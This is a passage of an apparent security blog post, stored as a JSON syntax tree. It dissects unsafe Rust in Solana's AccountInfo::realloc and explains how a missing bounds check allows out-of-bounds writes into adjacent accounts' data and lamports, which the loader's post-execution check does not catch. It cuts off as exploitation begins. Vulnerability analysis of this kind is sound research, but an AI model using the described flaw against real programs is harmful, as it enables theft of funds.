9],{"type":26,"value":18455},{"type":21,"tag":153,"props":18561,"children":18562},{"style":198},[18563],{"type":26,"value":265},{"type":21,"tag":153,"props":18565,"children":18566},{"style":214},[18567],{"type":26,"value":18568},"ReadonlyDataModified",{"type":21,"tag":153,"props":18570,"children":18571},{"style":160},[18572],{"type":26,"value":530},{"type":21,"tag":153,"props":18574,"children":18575},{"class":155,"line":3204},[18576],{"type":21,"tag":153,"props":18577,"children":18578},{"style":160},[18579],{"type":26,"value":539},{"type":21,"tag":153,"props":18581,"children":18582},{"class":155,"line":3230},[18583],{"type":21,"tag":153,"props":18584,"children":18585},{"style":160},[18586],{"type":26,"value":548},{"type":21,"tag":114,"props":18588,"children":18590},{"id":18589},"back-to-realloc",[18591,18593],{"type":26,"value":18592},"Back to ",{"type":21,"tag":78,"props":18594,"children":18596},{"className":18595},[],[18597],{"type":26,"value":16355},{"type":21,"tag":22,"props":18599,"children":18600},{},[18601],{"type":26,"value":18602},"As a reminder, this is what we were looking at before that detour:",{"type":21,"tag":143,"props":18604,"children":18605},{"className":145,"code":17096,"language":147,"meta":7,"style":7},[18606],{"type":21,"tag":78,"props":18607,"children":18608},{"__ignoreMap":7},[18609,18616,18703],{"type":21,"tag":153,"props":18610,"children":18611},{"class":155,"line":156},[18612],{"type":21,"tag":153,"props":18613,"children":18614},{"style":3050},[18615],{"type":26,"value":17108},{"type":21,"tag":153,"props":18617,"children":18618},{"class":155,"line":166},[18619,18623,18627,18631,18635,18639,18643,18647,18651,18655,18659,18663,18667,18671,18675,18679,18683,18687,18691,18695,18699],{"type":21,"tag":153,"props":18620,"children":18621},{"style":170},[18622],{"type":26,"value":1555},{"type":21,"tag":153,"props":18624,"children":18625},{"style":192},[18626],{"type":26,"value":250},{"type":21,"tag":153,"props":18628,"children":18629},{"style":198},[18630],{"type":26,"value":255},{"type":21,"tag":153,"props":18632,"children":18633},{"style":170},[18634],{"type":26,"value":16510},{"type":21,"tag":153,"props":18636,"children":18637},{"style":198},[18638],{"type":26,"value":355},{"type":21,"tag":153,"props":18640,"children":18641},{"style":181},[18642],{"type":26,"value":3541},{"type":21,"tag":153,"props":18644,"children":18645},{"style":160},[18646],{"type":26,"value":365},{"type":21,"tag":153,"props":18648,"children":18649},{"style":198},[18650],{"type":26,"value":5882},{"type":21,"tag":153,"props":18652,"children":18653},{"style":181},[18654],{"type":26,"value":16597},{"type":21,"tag":153,"props":18656,"children":18657},{"style":160},[18658],{"type":26,"value":365},{"type":21,"tag":153,"props":18660,"children":18661},{"style":198},[18662],{"type":26,"value":355},{"type":21,"tag":153,"props":18664,"children":18665},{"style":181},[18666],{"type":26,"value":16610},{"type":21,"tag":153,"props":18668,"children":18669},{"style":160},[18670],{"type":26,"value":189},{"type":21,"tag":153,"props":18672,"children":18673},{"style":198},[18674],{"type":26,"value":3873},{"type":21,"tag":153,"props":18676,"children":18677},{"style":300},[18678],{"type":26,"value":303},{"type":21,"tag":153,"props":18680,"children":18681},{"style":160},[18682],{"type":26,"value":2362},{"type":21,"tag":153,"props":18684,"children":18685},{"style":170},[18686],{"type":26,"value":11567},{"type":21,"tag":153,"props":18688,"children":18689},{"style":198},[18690],{"type":26,"value":5080},{"type":21,"tag":153,"props":18692,"children":18693},{"style":170},[18694],{"type":26,"value":318},{"type":21,"tag":153,"props":18696,"children":18697},{"style":214},[18698],{"type":26,"value":323},{"type":21,"tag":153,"props":18700,"children":18701},{"style":160},[18702],{"type":26,"value":1759},{"type":21,"tag":153,"props":18704,"children":18705},{"class":155,"line":225},[18706,18710,18714,18718,18722,18726,18730],{"type":21,"tag":153,"props":18707,"children":18708},{"style":198},[18709],{"type":26,"value":313},{"type":21,"tag":153,"props":18711,"children":18712},{"style":192},[18713],{"type":26,"value":16658},{"type":21,"tag":153,"props":18715,"children":18716},{"style":198},[18717],{"type":26,"value":255},{"type":21,"tag":153,"props":18719,"children":18720},{"style":192},[18721],{"type":26,"value":16667},{"type":21,"tag":153,"props":18723,"children":18724},{"style":170},[18725],{"type":26,"value":11553},{"type":21,"tag":153,"props":18727,"children":18728},{"style":214},[18729],{"type":26,"value":323},{"type":21,"tag":153,"props":18731,"children":18732},{"style":160},[18733],{"type":26,"value":1759},{"type":21,"tag":22,"props":18735,"children":18736},{},[18737,18742,18744,18749,18751,18756,18758,18769,18771,18776,18778,18783],{"type":21,"tag":78,"props":18738,"children":18740},{"className":18739},[],[18741],{"type":26,"value":3541},{"type":26,"value":18743}," gives us the ",{"type":21,"tag":78,"props":18745,"children":18747},{"className":18746},[],[18748],{"type":26,"value":18160},{"type":26,"value":18750}," from the ",{"type":21,"tag":78,"props":18752,"children":18754},{"className":18753},[],[18755],{"type":26,"value":18037},{"type":26,"value":18757},", whose data is inside the serialized buffer and immediately after the size of the data inside the serialized buffer. And ",{"type":21,"tag":29,"props":18759,"children":18762},{"href":18760,"rel":18761},"https://doc.rust-lang.org/std/primitive.slice.html#method.as_mut_ptr",[33],[18763],{"type":21,"tag":78,"props":18764,"children":18766},{"className":18765},[],[18767],{"type":26,"value":18768},"slice::as_mut_ptr()",{"type":26,"value":18770}," gives us that data pointer directly. So, this code computes a pointer to that serialized size field (8 bytes - the size of a ",{"type":21,"tag":78,"props":18772,"children":18774},{"className":18773},[],[18775],{"type":26,"value":445},{"type":26,"value":18777}," - behind the data buffer), and then writes ",{"type":21,"tag":78,"props":18779,"children":18781},{"className":18780},[],[18782],{"type":26,"value":16436},{"type":26,"value":18784}," to it.",{"type":21,"tag":22,"props":18786,"children":18787},{},[18788,18790,18802,18804,18810],{"type":26,"value":18789},"This is reasonable... ",{"type":21,"tag":5302,"props":18791,"children":18792},{},[18793,18795,18800],{"type":26,"value":18794},"as long as the ",{"type":21,"tag":78,"props":18796,"children":18798},{"className":18797},[],[18799],{"type":26,"value":195},{"type":26,"value":18801}," actually came from the serialized buffer",{"type":26,"value":18803},". We'll come back to this ",{"type":21,"tag":29,"props":18805,"children":18807},{"href":18806},"#Not-contracts",[18808],{"type":26,"value":18809},"later",{"type":26,"value":355},{"type":21,"tag":22,"props":18812,"children":18813},{},[18814,18816,18821],{"type":26,"value":18815},"At this point we've updated the serialized buffer, so at exit the runtime will understand that the size of the account's data buffer has changed. However, we haven't dealt with the Rust side yet. Slices have a length, and we haven't dealt with the ",{"type":21,"tag":78,"props":18817,"children":18819},{"className":18818},[],[18820],{"type":26,"value":18160},{"type":26,"value":18822}," slice that is our view into the data from the Rust world. So let's look at the next chunk:",{"type":21,"tag":143,"props":18824,"children":18826},{"className":145,"code":18825,"language":147,"meta":7,"style":7},"// Then set the new length in the local slice\nlet ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n*ptr = new_len as u64;\n",[18827],{"type":21,"tag":78,"props":18828,"children":18829},{"__ignoreMap":7},[18830,18838,18965],{"type":21,"tag":153,"props":18831,"children":18832},{"class":155,"line":156},[18833],{"type":21,"tag":153,"props":18834,"children":18835},{"style":3050},[18836],{"type":26,"value":18837},"// Then set the new length in the local slice\n",{"type":21,"tag":153,"props":18839,"children":18840},{"class":155,"line":166},[18841,18845,18849,18853,18857,18861,18865,18869,18873,18877,18881,18885,18889,18893,18897,18901,18905,18909,18913,18917,18921,18925,18929,18933,18937,18941,18945,18949,18953,18957,18961],{"type":21,"tag":153,"props":18842,"children":18843},{"style":170},[18844],{"type":26,"value":1555},{"type":21,"tag":153,"props":18846,"children":18847},{"style":192},[18848],{"type":26,"value":250},{"type":21,"tag":153,"props":18850,"children":18851},{"style":198},[18852],{"type":26,"value":255},{"type":21,"tag":153,"props":18854,"children":18855},{"style":198},[18856],{"type":26,"value":206},{"type":21,"tag":153,"props":18858,"children":18859},{"style":170},[18860],{"type":26,"value":318},{"type":21,"tag":153,"props":18862,"children":18863},{"style":198},[18864],{"type":26,"value":5080},{"type":21,"tag":153,"props":18866,"children":18867},{"style":160},[18868],{"type":26,"value":16726},{"type":21,"tag":153,"props":18870,"children":18871},{"style":170},[18872],{"type":26,"value":16427},{"type":21,"tag":153,"props":18874,"children":18875},{"style":198},[18876],{"type":26,"value":355},{"type":21,"tag":153,"props":18878,"children":18879},{"style":160},[18880],{"type":26,"value":195},{"type":21,"tag":153,"props":18882,"children":18883},{"style":198},[18884],{"type":26,"value":355},{"type":21,"tag":153,"props":18886,"children":18887},{"style":181},[18888],{"type":26,"value":16747},{"type":21,"tag":153,"props":18890,"children":18891},{"style":160},[18892],{"type":26,"value":2461},{"type":21,"tag":153,"props":18894,"children":18895},{"style":170},[18896],{"type":26,"value":11567},{"type":21,"tag":153,"props":18898,"children":18899},{"style":198},[18900],{"type":26,"value":5080},{"type":21,"tag":153,"props":18902,"children":18903},{"style":170},[18904],{"type":26,"value":5085},{"type":21,"tag":153,"props":18906,"children":18907},{"style":214},[18908],{"type":26,"value":323},{"type":21,"tag":153,"props":18910,"children":18911},{"style":160},[18912],{"type":26,"value":2071},{"type":21,"tag":153,"props":18914,"children":18915},{"style":198},[18916],{"type":26,"value":355},{"type":21,"tag":153,"props":18918,"children":18919},{"style":181},[18920],{"type":26,"value":16610},{"type":21,"tag":153,"props":18922,"children":18923},{"style":160},[18924],{"type":26,"value":189},{"type":21,"tag":153,"props":18926,"children":18927},{"style":300},[18928],{"type":26,"value":3033},{"type":21,"tag":153,"props":18930,"children":18931},{"style":160},[18932],{"type":26,"value":2362},{"type":21,"tag":153,"props":18934,"children":18935},{"style":170},[18936],{"type":26,"value":11567},{"type":21,"tag":153,"props":18938,"children":18939},{"style":214},[18940],{"type":26,"value":323},{"type":21,"tag":153,"props":18942,"children":18943},{"style":160},[18944],{"type":26,"value":2362},{"type":21,"tag":153,"props":18946,"children":18947},{"style":170},[18948],{"type":26,"value":11567},{"type":21,"tag":153,"props":18950,"children":18951},{"style":198},[18952],{"type":26,"value":5080},{"type":21,"tag":153,"props":18954,"children":18955},{"style":170},[18956],{"type":26,"value":318},{"type":21,"tag":153,"props":18958,"children":18959},{"style":214},[18960],{"type":26,"value":323},{"type":21,"tag":153,"props":18962,"children":18963},{"style":160},[18964],{"type":26,"value":530},{"type":21,"tag":153,"props":18966,"children":18967},{"class":155,"line":225},[18968,18972,18976,18980,18984,18988,18992],{"type":21,"tag":153,"props":18969,"children":18970},{"style":198},[18971],{"type":26,"value":313},{"type":21,"tag":153,"props":18973,"children":18974},{"style":192},[18975],{"type":26,"value":16658},{"type":21,"tag":153,"props":18977,"children":18978},{"style":198},[18979],{"type":26,"value":255},{"type":21,"tag":153,"props":18981,"children":18982},{"style":192},[18983],{"type":26,"value":16667},{"type":21,"tag":153,"props":18985,"children":18986},{"style":170},[18987],{"type":26,"value":11553},{"type":21,"tag":153,"props":18989,"children":18990},{"style":214},[18991],{"type":26,"value":323},{"type":21,"tag":153,"props":18993,"children":18994},{"style":160},[18995],{"type":26,"value":1759},{"type":21,"tag":22,"props":18997,"children":18998},{},[18999,19001,19007,19009,19020,19022,19028,19030,19036,19038,19043,19045,19050,19052,19062,19063,19070,19071,19078,19085,19087,19093,19095,19101,19103,19108,19110,19115,19117,19123,19125,19130],{"type":26,"value":19000},"That ",{"type":21,"tag":78,"props":19002,"children":19004},{"className":19003},[],[19005],{"type":26,"value":19006},"as_ptr()",{"type":26,"value":19008}," call is ",{"type":21,"tag":29,"props":19010,"children":19013},{"href":19011,"rel":19012},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.as_ptr",[33],[19014],{"type":21,"tag":78,"props":19015,"children":19017},{"className":19016},[],[19018],{"type":26,"value":19019},"RefCell::as_ptr()",{"type":26,"value":19021}," due to the ",{"type":21,"tag":78,"props":19023,"children":19025},{"className":19024},[],[19026],{"type":26,"value":19027},"Deref",{"type":26,"value":19029}," impl on ",{"type":21,"tag":78,"props":19031,"children":19033},{"className":19032},[],[19034],{"type":26,"value":19035},"Rc",{"type":26,"value":19037}," (remember also that ",{"type":21,"tag":78,"props":19039,"children":19041},{"className":19040},[],[19042],{"type":26,"value":18201},{"type":26,"value":19044}," itself doesn't behave like a reference, you need to actually ",{"type":21,"tag":5302,"props":19046,"children":19047},{},[19048],{"type":26,"value":19049},"get",{"type":26,"value":19051}," one through ",{"type":21,"tag":29,"props":19053,"children":19056},{"href":19054,"rel":19055},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow",[33],[19057],{"type":21,"tag":78,"props":19058,"children":19060},{"className":19059},[],[19061],{"type":26,"value":11527},{"type":26,"value":9187},{"type":21,"tag":29,"props":19064,"children":19067},{"href":19065,"rel":19066},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.borrow_mut",[33],[19068],{"type":26,"value":19069},"and",{"type":26,"value":9187},{"type":21,"tag":29,"props":19072,"children":19075},{"href":19073,"rel":19074},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow",[33],[19076],{"type":26,"value":19077},"frie",{"type":21,"tag":29,"props":19079,"children":19082},{"href":19080,"rel":19081},"https://doc.rust-lang.org/std/cell/struct.RefCell.html#method.try_borrow_mut",[33],[19083],{"type":26,"value":19084},"nds",{"type":26,"value":19086},"). So from ",{"type":21,"tag":78,"props":19088,"children":19090},{"className":19089},[],[19091],{"type":26,"value":19092},"RefCell::\u003C&mut [u8]>::as_mut()",{"type":26,"value":19094}," we get a ",{"type":21,"tag":78,"props":19096,"children":19098},{"className":19097},[],[19099],{"type":26,"value":19100},"*mut &mut [u8]",{"type":26,"value":19102}," - a ",{"type":21,"tag":5302,"props":19104,"children":19105},{},[19106],{"type":26,"value":19107},"pointer",{"type":26,"value":19109}," to the ",{"type":21,"tag":5302,"props":19111,"children":19112},{},[19113],{"type":26,"value":19114},"slice reference",{"type":26,"value":19116},". From here, we turn the pointer into a ",{"type":21,"tag":78,"props":19118,"children":19120},{"className":19119},[],[19121],{"type":26,"value":19122},"*const u64",{"type":26,"value":19124}," pointer and then offset by 1 ",{"type":21,"tag":78,"props":19126,"children":19128},{"className":19127},[],[19129],{"type":26,"value":445},{"type":26,"value":19131}," (so 8 bytes). Finally, we switch the pointer back to being mutable, and write the new length to it.",{"type":21,"tag":22,"props":19133,"children":19134},{},[19135,19137,19142,19144,19149,19151,19156,19158,19163,19165,19171],{"type":26,"value":19136},"Now, if you're sitting here thinking that this is unnecessarily convoluted and confusing, you'd be right! But we'll get back to that ",{"type":21,"tag":29,"props":19138,"children":19140},{"href":19139},"#Towards-safer-unsafe",[19141],{"type":26,"value":18809},{"type":26,"value":19143}," too, I promise. In summary, we're writing the new length as a ",{"type":21,"tag":78,"props":19145,"children":19147},{"className":19146},[],[19148],{"type":26,"value":445},{"type":26,"value":19150}," to the region starting 8 bytes from the start of the slice ",{"type":21,"tag":5302,"props":19152,"children":19153},{},[19154],{"type":26,"value":19155},"reference",{"type":26,"value":19157}," (the ",{"type":21,"tag":78,"props":19159,"children":19161},{"className":19160},[],[19162],{"type":26,"value":18160},{"type":26,"value":19164},").So, what does ",{"type":21,"tag":78,"props":19166,"children":19168},{"className":19167},[],[19169],{"type":26,"value":19170},"&[T]",{"type":26,"value":19172}," look like in Rust?",{"type":21,"tag":22,"props":19174,"children":19175},{},[19176,19178,19185,19187,19200,19202,19208],{"type":26,"value":19177},"According to ",{"type":21,"tag":29,"props":19179,"children":19182},{"href":19180,"rel":19181},"https://doc.rust-lang.org/reference/type-layout.html#pointers-and-references-layout",[33],[19183],{"type":26,"value":19184},"the reference",{"type":26,"value":19186},", it's completely undefined - there are no guarantees made in the reference, and ",{"type":21,"tag":29,"props":19188,"children":19191},{"href":19189,"rel":19190},"https://doc.rust-lang.org/reference/type-layout.html",[33],[19192,19194,19198],{"type":26,"value":19193},"\"Type layout can be changed with each compilation. ",{"type":21,"tag":153,"props":19195,"children":19196},{},[19197],{"type":26,"value":12313},{"type":26,"value":19199}," we only document what is guaranteed today\"",{"type":26,"value":19201},". But it seems like those pesky language specs aren't stopping Solana developers. In current ",{"type":21,"tag":78,"props":19203,"children":19205},{"className":19204},[],[19206],{"type":26,"value":19207},"rustc",{"type":26,"value":19209},", the layout is a data pointer followed by the size; essentially the same as:",{"type":21,"tag":143,"props":19211,"children":19214},{"className":19212,"code":19213,"language":5896,"meta":7,"style":7},"language-c shiki shiki-themes slack-dark","// C language\nstruct slice_ref {\n    void* ptr;\n    size_t len;\n};\n",[19215],{"type":21,"tag":78,"props":19216,"children":19217},{"__ignoreMap":7},[19218,19226,19238,19255,19268],{"type":21,"tag":153,"props":19219,"children":19220},{"class":155,"line":156},[19221],{"type":21,"tag":153,"props":19222,"children":19223},{"style":3050},[19224],{"type":26,"value":19225},"// C language\n",{"type":21,"tag":153,"props":19227,"children":19228},{"class":155,"line":166},[19229,19233],{"type":21,"tag":153,"props":19230,"children":19231},{"style":170},[19232],{"type":26,"value":12123},{"type":21,"tag":153,"props":19234,"children":19235},{"style":160},[19236],{"type":26,"value":19237}," slice_ref {\n",{"type":21,"tag":153,"props":19239,"children":19240},{"class":155,"line":225},[19241,19246,19250],{"type":21,"tag":153,"props":19242,"children":19243},{"style":170},[19244],{"type":26,"value":19245},"    void",{"type":21,"tag":153,"props":19247,"children":19248},{"style":198},[19249],{"type":26,"value":313},{"type":21,"tag":153,"props":19251,"children":19252},{"style":160},[19253],{"type":26,"value":19254}," ptr;\n",{"type":21,"tag":153,"props":19256,"children":19257},{"class":155,"line":239},[19258,19263],{"type":21,"tag":153,"props":19259,"children":19260},{"style":170},[19261],{"type":26,"value":19262},"    size_t",{"type":21,"tag":153,"props":19264,"children":19265},{"style":160},[19266],{"type":26,"value":19267}," len;\n",{"type":21,"tag":153,"props":19269,"children":19270},{"class":155,"line":382},[19271],{"type":21,"tag":153,"props":19272,"children":19273},{"style":160},[19274],{"type":26,"value":19275},"};\n",{"type":21,"tag":22,"props":19277,"children":19278},{},[19279],{"type":26,"value":19280},"So at the end of the day we find out that the code is simply writing over the length field in the slice reference. Let's step back a moment and take a look at all the assumptions we made along the way while executing these 2 lines (really only one of importance!):",{"type":21,"tag":126,"props":19282,"children":19283},{},[19284,19289,19307],{"type":21,"tag":91,"props":19285,"children":19286},{},[19287],{"type":26,"value":19288},"Slices are laid out in the precise manner described",{"type":21,"tag":91,"props":19290,"children":19291},{},[19292,19294,19300,19302],{"type":26,"value":19293},"Pointers and ",{"type":21,"tag":78,"props":19295,"children":19297},{"className":19296},[],[19298],{"type":26,"value":19299},"usize",{"type":26,"value":19301}," are the same width as ",{"type":21,"tag":78,"props":19303,"children":19305},{"className":19304},[],[19306],{"type":26,"value":445},{"type":21,"tag":91,"props":19308,"children":19309},{},[19310,19312,19317],{"type":26,"value":19311},"The ",{"type":21,"tag":78,"props":19313,"children":19315},{"className":19314},[],[19316],{"type":26,"value":18201},{"type":26,"value":19318}," was not borrowed (i.e. we didn't just mutate it while someone else has a reference to its contents)",{"type":21,"tag":22,"props":19320,"children":19321},{},[19322,19324,19329,19331,19337,19339,19344,19346,19352,19354,19359,19361,19371],{"type":26,"value":19323},"Assumption #2 is ",{"type":21,"tag":5302,"props":19325,"children":19326},{},[19327],{"type":26,"value":19328},"probably",{"type":26,"value":19330}," fine when we only care about targeting Solana's bytecode machine, but still not a particularly safe assumption to make in case some change happens on the toolchain. And assumption #3 turns out to be a non-issue since we had just done a ",{"type":21,"tag":78,"props":19332,"children":19334},{"className":19333},[],[19335],{"type":26,"value":19336},"borrow_mut",{"type":26,"value":19338}," of the ",{"type":21,"tag":78,"props":19340,"children":19342},{"className":19341},[],[19343],{"type":26,"value":18201},{"type":26,"value":19345}," (through ",{"type":21,"tag":78,"props":19347,"children":19349},{"className":19348},[],[19350],{"type":26,"value":19351},"AccountInfo::try_borrow_mut_data()",{"type":26,"value":19353},"), and ",{"type":21,"tag":78,"props":19355,"children":19357},{"className":19356},[],[19358],{"type":26,"value":18201},{"type":26,"value":19360}," is not usable between multiple threads",{"type":21,"tag":18171,"props":19362,"children":19363},{},[19364],{"type":21,"tag":29,"props":19365,"children":19369},{"href":19366,"ariaDescribedBy":19367,"dataFootnoteRef":7,"id":19368},"#user-content-fn-sendsync",[18178],"user-content-fnref-sendsync",[19370],{"type":26,"value":5873},{"type":26,"value":19372},", so we already have exclusive access.",{"type":21,"tag":22,"props":19374,"children":19375},{},[19376,19378,19382],{"type":26,"value":19377},"A few more ",{"type":21,"tag":5302,"props":19379,"children":19380},{},[19381],{"type":26,"value":9836},{"type":26,"value":19383}," things of note, that could have gone badly but didn't:",{"type":21,"tag":87,"props":19385,"children":19386},{},[19387,19429],{"type":21,"tag":91,"props":19388,"children":19389},{},[19390,19392,19398,19400,19405,19407,19412,19414,19419,19421,19427],{"type":26,"value":19391},"By reborrowing the pointer (the ",{"type":21,"tag":78,"props":19393,"children":19395},{"className":19394},[],[19396],{"type":26,"value":19397},"&mut *(\u003Cvalue of type *mut u64>)",{"type":26,"value":19399},"), we've created a reference with an ",{"type":21,"tag":5302,"props":19401,"children":19402},{},[19403],{"type":26,"value":19404},"unbounded lifetime",{"type":26,"value":19406},". Rust is free to infer ",{"type":21,"tag":5302,"props":19408,"children":19409},{},[19410],{"type":26,"value":19411},"any",{"type":26,"value":19413}," lifetime for ",{"type":21,"tag":78,"props":19415,"children":19417},{"className":19416},[],[19418],{"type":26,"value":16658},{"type":26,"value":19420}," (including ",{"type":21,"tag":78,"props":19422,"children":19424},{"className":19423},[],[19425],{"type":26,"value":19426},"'static",{"type":26,"value":19428},"); thankfully it's only used in the next statement and never has a chance to escape.",{"type":21,"tag":91,"props":19430,"children":19431},{},[19432,19434,19440,19442,19447,19449,19454,19456,19461,19463,19468,19470,19475,19477,19482,19484,19490,19492,19497,19499,19504,19506,19511,19513,19518,19520,19525],{"type":26,"value":19433},"Going back to the first statement when we were modifying the data buffer, it turns out we have another lifetime problem: we created a mutable pointer to the data from the ",{"type":21,"tag":78,"props":19435,"children":19437},{"className":19436},[],[19438],{"type":26,"value":19439},"RefMut",{"type":26,"value":19441}," returned from ",{"type":21,"tag":78,"props":19443,"children":19445},{"className":19444},[],[19446],{"type":26,"value":3541},{"type":26,"value":19448},", but the ",{"type":21,"tag":78,"props":19450,"children":19452},{"className":19451},[],[19453],{"type":26,"value":19439},{"type":26,"value":19455}," is dropped at the end of the statement. So, we now have in ",{"type":21,"tag":78,"props":19457,"children":19459},{"className":19458},[],[19460],{"type":26,"value":16658},{"type":26,"value":19462}," a ",{"type":21,"tag":5302,"props":19464,"children":19465},{},[19466],{"type":26,"value":19467},"mutable",{"type":26,"value":19469}," pointer to the ",{"type":21,"tag":78,"props":19471,"children":19473},{"className":19472},[],[19474],{"type":26,"value":18201},{"type":26,"value":19476},"'s data, but the ",{"type":21,"tag":78,"props":19478,"children":19480},{"className":19479},[],[19481],{"type":26,"value":18201},{"type":26,"value":19483}," thinks that we're done with our borrow. If we happened to be in a multithreaded scenario with something like a ",{"type":21,"tag":78,"props":19485,"children":19487},{"className":19486},[],[19488],{"type":26,"value":19489},"Mutex",{"type":26,"value":19491}," instead of a ",{"type":21,"tag":78,"props":19493,"children":19495},{"className":19494},[],[19496],{"type":26,"value":18201},{"type":26,"value":19498}," (but with otherwise semantically identical code), then a different thread could attempt to borrow between creating ",{"type":21,"tag":78,"props":19500,"children":19502},{"className":19501},[],[19503],{"type":26,"value":16658},{"type":26,"value":19505}," and writing to it ",{"type":21,"tag":5302,"props":19507,"children":19508},{},[19509],{"type":26,"value":19510},"and succeed",{"type":26,"value":19512},", resulting in us writing while another reference is alive. However, since ",{"type":21,"tag":78,"props":19514,"children":19516},{"className":19515},[],[19517],{"type":26,"value":16658},{"type":26,"value":19519}," is behind the actual data and thus the region it points to is inaccessible through the ",{"type":21,"tag":78,"props":19521,"children":19523},{"className":19522},[],[19524],{"type":26,"value":195},{"type":26,"value":19526}," slice, this is still not a problem. I just wanted to highlight how easy it is to mess up borrowing and lifetimes when writing unsafe code.",{"type":21,"tag":22,"props":19528,"children":19529},{},[19530,19532,19537],{"type":26,"value":19531},"Ok, now that we've understood what the code is ",{"type":21,"tag":5302,"props":19533,"children":19534},{},[19535],{"type":26,"value":19536},"trying",{"type":26,"value":19538}," to do, let's try to break it, shall we?",{"type":21,"tag":66,"props":19540,"children":19542},{"id":19541},"what-can-go-wrong",[19543],{"type":26,"value":19544},"What can go wrong?",{"type":21,"tag":114,"props":19546,"children":19548},{"id":19547},"contracts",[19549],{"type":26,"value":19550},"Contracts",{"type":21,"tag":22,"props":19552,"children":19553},{},[19554,19556,19561,19563,19568,19570,19575,19577,19582],{"type":26,"value":19555},"Again, it's quite conspicuous that there's no bounds check whatsoever, and additionally, we notice that at no point did we actually touch the data pointer of the slice reference when ",{"type":21,"tag":78,"props":19557,"children":19559},{"className":19558},[],[19560],{"type":26,"value":16355},{"type":26,"value":19562},"'ing. In other words, when we realloc, all we do is change some size fields, no allocation is happening. So, if we ",{"type":21,"tag":78,"props":19564,"children":19566},{"className":19565},[],[19567],{"type":26,"value":16355},{"type":26,"value":19569}," to some large size, past the end of the buffer of roughly ",{"type":21,"tag":78,"props":19571,"children":19573},{"className":19572},[],[19574],{"type":26,"value":17993},{"type":26,"value":19576}," bytes in the serialized buffer from the BPF loader, then we've got free out-of-bounds memory write! Using the ",{"type":21,"tag":78,"props":19578,"children":19580},{"className":19579},[],[19581],{"type":26,"value":195},{"type":26,"value":19583}," slice, we can write to anything \"after\" our account's data in memory. Other accounts' data are stored adjacent in memory, so it'd be pretty easy to modify the data or lamports. And remember, sizes and indices are unsigned, so what's \"behind\" our account in memory is actually just very far \"after\" our account - the address will wrap around the end of the address space.",{"type":21,"tag":22,"props":19585,"children":19586},{},[19587,19589,19596],{"type":26,"value":19588},"There is ",{"type":21,"tag":29,"props":19590,"children":19593},{"href":19591,"rel":19592},"https://github.com/solana-labs/solana/blob/94685e1222b3289859a447d62fadea20898241e0/programs/bpf_loader/src/serialization.rs#L324-L328",[33],[19594],{"type":26,"value":19595},"a check",{"type":26,"value":19597}," by the BPF loader, however, and it boils down to:",{"type":21,"tag":143,"props":19599,"children":19601},{"className":145,"code":19600,"language":147,"meta":7,"style":7},"if post_len.saturating_sub(*pre_len) > MAX_PERMITTED_DATA_INCREASE\n    || post_len > MAX_PERMITTED_DATA_LENGTH as usize\n{\n    return Err(InstructionError::InvalidRealloc);\n}\n",[19602],{"type":21,"tag":78,"props":19603,"children":19604},{"__ignoreMap":7},[19605,19643,19673,19680,19713],{"type":21,"tag":153,"props":19606,"children":19607},{"class":155,"line":156},[19608,19612,19617,19621,19625,19629,19633,19638],{"type":21,"tag":153,"props":19609,"children":19610},{"style":1751},[19611],{"type":26,"value":2338},{"type":21,"tag":153,"props":19613,"children":19614},{"style":192},[19615],{"type":26,"value":19616}," post_len",{"type":21,"tag":153,"props":19618,"children":19619},{"style":198},[19620],{"type":26,"value":355},{"type":21,"tag":153,"props":19622,"children":19623},{"style":181},[19624],{"type":26,"value":16999},{"type":21,"tag":153,"props":19626,"children":19627},{"style":160},[19628],{"type":26,"value":189},{"type":21,"tag":153,"props":19630,"children":19631},{"style":198},[19632],{"type":26,"value":313},{"type":21,"tag":153,"props":19634,"children":19635},{"style":192},[19636],{"type":26,"value":19637},"pre_len",{"type":21,"tag":153,"props":19639,"children":19640},{"style":160},[19641],{"type":26,"value":19642},") > MAX_PERMITTED_DATA_INCREASE\n",{"type":21,"tag":153,"props":19644,"children":19645},{"class":155,"line":166},[19646,19651,19655,19659,19664,19668],{"type":21,"tag":153,"props":19647,"children":19648},{"style":198},[19649],{"type":26,"value":19650},"    ||",{"type":21,"tag":153,"props":19652,"children":19653},{"style":192},[19654],{"type":26,"value":19616},{"type":21,"tag":153,"props":19656,"children":19657},{"style":198},[19658],{"type":26,"value":16902},{"type":21,"tag":153,"props":19660,"children":19661},{"style":160},[19662],{"type":26,"value":19663}," MAX_PERMITTED_DATA_LENGTH ",{"type":21,"tag":153,"props":19665,"children":19666},{"style":170},[19667],{"type":26,"value":11567},{"type":21,"tag":153,"props":19669,"children":19670},{"style":214},[19671],{"type":26,"value":19672}," usize\n",{"type":21,"tag":153,"props":19674,"children":19675},{"class":155,"line":225},[19676],{"type":21,"tag":153,"props":19677,"children":19678},{"style":160},[19679],{"type":26,"value":13601},{"type":21,"tag":153,"props":19681,"children":19682},{"class":155,"line":239},[19683,19688,19692,19696,19700,19704,19709],{"type":21,"tag":153,"props":19684,"children":19685},{"style":1751},[19686],{"type":26,"value":19687},"    return",{"type":21,"tag":153,"props":19689,"children":19690},{"style":214},[19691],{"type":26,"value":18446},{"type":21,"tag":153,"props":19693,"children":19694},{"style":160},[19695],{"type":26,"value":189},{"type":21,"tag":153,"props":19697,"children":19698},{"style":214},[19699],{"type":26,"value":18455},{"type":21,"tag":153,"props":19701,"children":19702},{"style":198},[19703],{"type":26,"value":265},{"type":21,"tag":153,"props":19705,"children":19706},{"style":214},[19707],{"type":26,"value":19708},"InvalidRealloc",{"type":21,"tag":153,"props":19710,"children":19711},{"style":160},[19712],{"type":26,"value":530},{"type":21,"tag":153,"props":19714,"children":19715},{"class":155,"line":382},[19716],{"type":21,"tag":153,"props":19717,"children":19718},{"style":160},[19719],{"type":26,"value":548},{"type":21,"tag":22,"props":19721,"children":19722},{},[19723,19725,19730,19732,19737],{"type":26,"value":19724},"But, like the other checks performed by the loader, this check only runs after the contract ",{"type":21,"tag":5302,"props":19726,"children":19727},{},[19728],{"type":26,"value":19729},"finishes",{"type":26,"value":19731}," execution. ",{"type":21,"tag":5302,"props":19733,"children":19734},{},[19735],{"type":26,"value":19736},"During",{"type":26,"value":19738}," execution, the contract is free to make whatever modifications to memory that it wants, since Solana's eBPF machine doesn't hook memory accesses in any way.",{"type":21,"tag":22,"props":19740,"children":19741},{},[19742,19744,19749,19751,19756,19758,19765],{"type":26,"value":19743},"The end result is that in order to successfully exploit this bug, an 